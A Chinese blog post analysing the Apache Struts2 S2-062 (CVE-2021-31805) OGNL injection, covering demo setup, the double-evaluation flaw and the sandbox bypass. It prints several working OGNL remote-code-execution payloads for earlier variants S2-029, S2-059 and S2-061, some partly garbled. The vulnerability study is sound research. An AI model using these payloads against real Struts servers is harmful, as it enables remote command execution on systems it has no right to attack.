“ 为啥写的poc老不对?说不定是二手文章看多了,少看二手文章,少用二手poc,从你我做起”
最近Apache Struts2 又又又又曝新漏洞了,虽然漏洞危害不及当年,但是作为一个学习漏洞案例还是比较经典的。尤其是这一系列漏洞玩了这么多年,却没真正上手研究过,实属有些惭愧,借此还是多深入研究下。而且网上的二手文章太多了,有点给人看吐了,感觉确实还是得自己记录下。
01
—
前置知识及环境篇
讲真一开始以为这么经典的洞,应该有一堆现成的源码环境等着我挑吧。但发现并不是,全都是打包好的环境,很方便,但是不利于我们去探究原理。
所以这里只能手动构造下环境了,这里为了方便调试,使用idea来搭建。
但在这之前,我发现先了解一些关于struts的基础知识,再去搭建环境可能会理解的更深。
首先是Struts执行流程,对于一次请求的执行流程网上流传着一些很经典的图:
过程大概分为以下几个步骤:
-
Servlet Filters(web.xml中配置):首先请求会来到 servlet 容器,这是我们的核心过滤器,也就是通常在tomcat的 web.xml 中配置的 filter 及 filter-mapping,比如这里配置FilterDispatcher将 /* 全部的路由交给 struts2 来处理。比如如下web.xml
-
Action(strtus.xml中配置):然后请求被转发到struts core的部分,ActionMapper根据访问路径,找到处理这个请求对应的 Action 控制类。比如,如下strtus.xml
-
Interceptor-stack(struts-default.xml中):然后请求会来到一系列执行拦截器Interceptors,拦截器可能在执行action之前,也可能在其后,通常在 struts-core 包中 struts-default.xml 文件配置的默认的一些拦截器。
-
Result:由 Action 控制类运行execute方法,执行请求的处理,执行结果可能是视图文件,可能是去访问另一个 Action,最后将结果Result 返回到我们的页面。
所以按照上述流程,去依次配置我们的环境,就可以简单搭建一个struts的demo。
拿idea来举例:
1. maven创建普通web项目
2. 添加struts2依赖
<dependencies>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.26</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
</dependencies>
3. 修改WEB-INF/web.xml文件
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!-- 配置 Struts2 的 Filter 旧版本的会有不同 -->
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
4. 在/src/mian下创建java和resource文件夹
如果上方两个文件夹没有自动被idea解析(依旧是灰色的普通文件夹)可以按照下图操作
5. 在resources目录下添加struts.xml文件
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<constant name="struts.devMode" value="false"/>
<!-- 解决乱码问题 -->
<!--<constant name="struts.custom.i18n.resources" value="global"/>-->
<!-- <constant name="struts.multipart.parser" value="jakarta-stream" /> -->
<!--constant name="struts.multipart.maxSize" value="1" /-->
<!-- 所有的Action配置都应放在package下,name定义包名,extends定义继承包空间 -->
<package name="default" namespace="/" extends="struts-default">
<default-action-ref name="index"/>
<!-- Action配置可以有多对;name是对业务控制器命名
在表单中指定的action的名字需要与该名字一致;class指定Action类的位置 -->
<action name="index" class="com.ccc.action.IndexAction" method="execPayload">
<result>index.jsp</result>
</action>
</package>
</struts>
6.新建一个action类,
实现一个 Action 控制类一共有 3 种方式:
-
Action 写为一个 POJO 类,并且包含 excute() 方法。
-
Action 类实现 Action 接口。
-
Action 类继承 ActionSupport 类。
7. 修改jsp,
如果在 jsp 中想使用 struts2 的标签,需要在头部声明:
<%@taglib prefix="s" uri="/struts-tags" %>,对于各个标签的属性及处理类,在 struts2-core 包中的 struts-tags.tld 中进行了定义,在对标签进行解析时,会根据不同的 tag 类型找到不同的 TagSupport 的实现类进行处理。
<%@ page
language="java"
contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>S2-062 demo</title>
</head>
<div>
<s:label id="test2" name="%{payload}" />
s2-062:your input payload: ${payload}
</div>
</body>
</html>
02
—
漏洞复现与分析部分
回顾一下历史:
本次的s2-062根据官方说明其实是s2-061的绕过。
所以回溯一下,发现s2-061 与 s2-059类似,而s2-059又有与S2-029/S2-036类似的漏洞点。。。。
可以说是,从S2-029起触发点就是基本类似的徘徊于不同标签、不同属性之间,然后就是不同payload的来回绕过。。。。
大概回顾一下S2-029(CVE-2016-0785)主要成因:
是因为 name属性处理的时候会经过两次ognl解析,该值将在渲染标签的属性时再次解析,从而导致远程代码执行。比如struts2的i18n,text等标签。
而S2-036(CVE-2016-4461)和 S2-029 一样:比如 tag 内属性使用 %{...} 会导致 RCE。
网上流传的关于S2-029 poc:
<%
request.setAttribute("lan", "'),
'allowPrivateAccess']=true, _memberAccess[
'allowProtectedAccess']=true, _memberAccess[
'allowPackageProtectedAccess']=true, _memberAccess[
'allowStaticMethodAccess']=true, _memberAccess[
'excludedPackageNamePatterns']=#_memberAccess['acceptProperties'], _memberAccess[
'excludedClasses']=#_memberAccess['acceptProperties'], _memberAccess[
[email protected]@getRuntime(),
'touch/tmp/fuckxxx'), a.exec(
new java.lang.String('");
>
<s:i18n name="%{#request.lan}">xxxxx</s:i18n>
然后是S2-059的漏洞成因:
也是会对某些标签属性(比如 `id`,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时,用户再传入一个 `%{payload}` 即可造成OGNL表达式执行。描述受影响的标签属性为
流传的poc:
payload=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d
转码:
payload=%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#[email protected]@getResponse().getWriter(),#[email protected]@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()}
最后就是我们重点要区分的 S2-061,这里据官方描述也是和 S2-059 同样的漏洞,只不过是进行了一些绕过。
描述受影响的标签属性为:<s:a id="%{id}">S2-061</s:a>
<s:a id="%{id}">S2-061</s:a>
目前网上流传着这样一些poc:
poc1:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
poc2:
%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}
poc3:
%{
(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) +
(#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'open -a calculator'}))
}
而S2-062的poc,根据国外大佬的文章应该是这样的:
(现在回想一下你们的二手文章中的假poc,是不是大都和061的差不多)
那我们就看看为啥那些poc不行,以及新的为啥可以。
调试:
首先在jsp中的标签出打下断点
对于标签的解析从
org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag开始:
id属性和name属性
然后到org.apache.struts2.views.jsp.ComponentTagSupport#doEndTag结束
随后会进入org.apache.struts2.components.UIBean#end
org.apache.struts2.components.UIBean#evaluateParams
这里将我们payload赋值给name属性
然后是一系列属性的判断(可以检查下后期这些属性有没有可能利用)
然后是标签不存在value属性时
后续会进入这里
在org.apache.struts2.components.Component#completeExpressionIfAltSyntax中,会判断altSyntax(默认为True)。(如果altSyntax功能开启(此功能在S2-001的修复方案是将其默认关闭),altSyntax这个功能是将标签内的内容当作OGNL表达式解析,关闭了之后标签内的内容就不会当作OGNL表达式解析了。)
并在org.apache.struts2.util.ComponentUtils#containsExpression中检查是否包含%{},包含就不添加%{}不包含就加上'%{}'
当传入的payload中含有'%{}',在
org.apache.struts2.components.Component#recursion中进行判断,后为True
此时无法进入下方的findValue,只有传入值没有'%{}',recursion返回False,才可以进入findValue,完成第二次OGNL表达式赋值,从而触发表达式注入漏洞。
所以,这也是为什么含有‘%{}’的poc是不可能触发漏洞的。
从代码的diff也可以看出来,为啥老的版本poc可以有"%{}",但新版本不可以
比如当我们这里的payload改成‘3*3’,
org.apache.struts2.components.Component#completeExpressionIfAltSyntax,在判断后,发现没有"%{}",就会将我们的payload,自动加上"%{}"
这时,后续recursion(name),由于name不含"%{}",判断就变为了false,从而进入后续findValue(expr, valueClazz)才会触发二次解析,再之后的过程就和059/061类似了。而此时的expr正好经过变形,变成了表达式%{3*3}。
可以看到nameValue的值经过findValue被成功解析
后续的过程就和之前版本的很类似了
如何绕过沙箱
上面已经实现了OGNL表达式注入,但是我们还需要绕过沙箱才能实现RCE。
首先回顾S2-061实现命令执行方式:
%{
(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) +
(#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'open -a calculator'}))
}
由于Struts v2.5.26之后,将"org.apache.tomcat."加入了黑名单,所以无法获取`BeanMap`对象。这也是为啥旧的poc用不了的原因之一。
但国外大佬探索出来一个新的语法,绕过了这一限制:
比如:
https://<domain>/?skillName=#@java.util.LinkedHashMap@{"foo":"value"}
就可以创建一个LinkedHashMap对象
于是通过下面语法就可以构造新的poc,
#@org.apache.commons.collections.BeanMap@{}
由于org.apache.commons.collections.BeanMap目前也不在黑名单中,最终就构造出如下poc:
Callstack
执行后的调用栈和先前的漏洞类似,最终都是靠getValue来解析执行OGNL表达式
getValue:542, Ognl (ognl)
execute:500, OgnlUtil$4 (com.opensymphony.xwork2.ognl)
compileAndExecute:523, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:498, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:371, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:359, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:328, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:312, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:379, OgnlValueStack (com.opensymphony.xwork2.ognl)
evaluate:159, TextParseUtil$1 (com.opensymphony.xwork2.util)
evaluate:67, OgnlTextParser (com.opensymphony.xwork2.util)
translateVariables:169, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:112, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:85, TextParseUtil (com.opensymphony.xwork2.util)
findValue:374, Component (org.apache.struts2.components)
evaluateParams:806, UIBean (org.apache.struts2.components)
end:536, UIBean (org.apache.struts2.components)
doEndTag:39, ComponentTagSupport (org.apache.struts2.views.jsp)
_jspx_meth_s_005flabel_005f0:20, index_jsp (org.apache.jsp)
_jspService:20, index_jsp (org.apache.jsp)
--- END ---
有钱的捧个钱场,没钱的来个三连呀
本演示仅用于学习和研究,请在实验环境中运行,请勿用于其他任何非法用途,否则后果自负!
参考:
https://mp.weixin.qq.com/s/fEgn4Ci300_5bMpPzjVyUg
https://javasec.org/java-vuls/Struts
https://blog.csdn.net/vay_ee/article/details/114903190
https://blog.csdn.net/scgyus/article/details/79388089
加餐:代码框版的S2-062 payload
伪付费文章,没别的内容了,贴一个代码框版的payload(其实没必要,前面都放出来了)。
其次,幸幸苦苦写很久,也是为了避免盗文章。
这里就全当是打赏了,感觉有用就打赏个今天打工下班的公交车钱啦。
S2-062:
原文始发于微信公众号(hijackY):Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论